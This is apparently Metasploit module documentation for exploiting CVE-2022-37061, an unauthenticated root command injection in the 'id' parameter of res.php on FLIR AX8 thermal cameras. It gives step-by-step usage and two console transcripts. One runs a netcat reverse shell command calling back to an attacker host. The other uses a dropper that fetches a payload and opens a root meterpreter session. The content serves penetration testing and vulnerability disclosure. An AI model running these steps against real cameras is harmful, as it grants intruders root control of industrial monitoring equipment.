## Vulnerable Application

FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras
that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.
This device is typically used for monitoring industrial environments in a LAN based configuration.
Occasionally you can find a FLIR AX8 device where the HTTP web interface is exposed to the public internet.

FLIR AX8 is affected by an unauthenticated remote command injection vulnerability.
This can be exploited to inject and execute arbitrary shell commands as the root user through the `id` HTTP POST parameter
in `res.php` endpoint.
A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges.
This issue affects all FLIR AX8 thermal sensor cameras version up to and including `1.46.16`.

The endpoint `/res.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID`
to check if the request is legitimate. The second problem is that the POST parameter id can be injected to execute any unix command.

Installing a vulnerable test bed requires a FLIR AX8 camera with the vulnerable firmware loaded.

This module has been tested against a FLIR AX8 camera with the specifications listed below:

* FLIR AX8 thermal camera
* Firmware v1.40.16

## Verification Steps

1. `use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061`
1. `set RHOSTS <TARGET HOSTS>`
1. `set RPORT <port>`
1. `set LHOST <attacker host ip>`
1. `set LPORT <attacker host port>`
1. `set TARGET <0-Unix command or 1-Linux Dropper>`
1. `exploit`
1. You should get a `netcat` shell or `meterpreter` session depending on the target and payload settings.

## Options
No specific options.

## Scenarios

### FLIR AX8 netcat reverse shell

```
msf > use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
[*] Using configured payload cmd/unix/reverse_netcat
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > options

Module options (exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
                                       resses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting    Required  Description
   ----   ---------------    --------  -----------
   LHOST                     yes       The listen address (an interface may be specified)
   LPORT                     yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set rhosts 192.168.100.180
rhosts => 192.168.100.180
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lport 4444
lport => 4444
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set target 0
target => 0
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.180:80 can be exploited!
[*] Performing command injection test issuing a sleep command of 10 seconds.
[*] Elapsed time: 10.947262728999704 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command with mkfifo /tmp/eyhxvh; nc 192.168.100.7 4444 0</tmp/eyhxvh | /bin/sh >/tmp/eyhxvh 2>&1; rm /tmp/eyhxvh
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:37980) at 2022-10-21 07:00:16 +0000

whoami
root
uname -a
Linux neco 3.0.35-flir #1 PREEMPT Thu Oct 20 08:20:20 CET 2022 armv7l GNU/Linux
exit
```

### FLIR AX8 meterpreter session

```
msf > use exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
[*] Using configured payload linux/armle/meterpreter_reverse_tcp
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > options

Module options (exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to li>
                                       resses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (linux/armle/meterpreter_reverse_tcp):

   Name   Current Setting    Required  Description
   ----   ---------------    --------  -----------
   LHOST                     yes       The listen address (an interface may be specified)
   LPORT                     yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set rhosts 192.168.100.180
rhosts => 192.168.100.180
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set lport 4444
lport => 4444
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > set target 1
target => 1
msf exploit(linux/http/flir_ax8_unauth_rce_cve_2022_37061) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.180:80 can be exploited!
[*] Performing command injection test issuing a sleep command of 7 seconds.
[*] Elapsed time: 7.929586360999565 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Linux Dropper
[*] Using URL: http://0.0.0.0:8080/GOCjBdalaU
[*] Client 127.0.0.1 (curl/7.33.0) requested /GOCjBdalaU
[*] Sending payload to 127.0.0.1 (curl/7.33.0)
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:56540) at 2022-10-21 07:02:57 +0000
[*] Command Stager progress - 100.00% done (125/125 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.100.180
OS           :  (Linux neco 3.0.35-flir)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : armle/linux
meterpreter > getuid
Server username: root
meterpreter >
```

## Limitations
Staged payloads like `linux/armle/meterpreter/reverse_tcp` or `linux/armle/shell/reverse_tcp` do not work.
Manually tested these payloads with `msfvenom`, but they produce segmentation faults when executed on the target.
However stageless payloads such as `linux/armle/meterpreter_reverse_tcp` and `linux/armle/shell_reverse_tcp` are working.
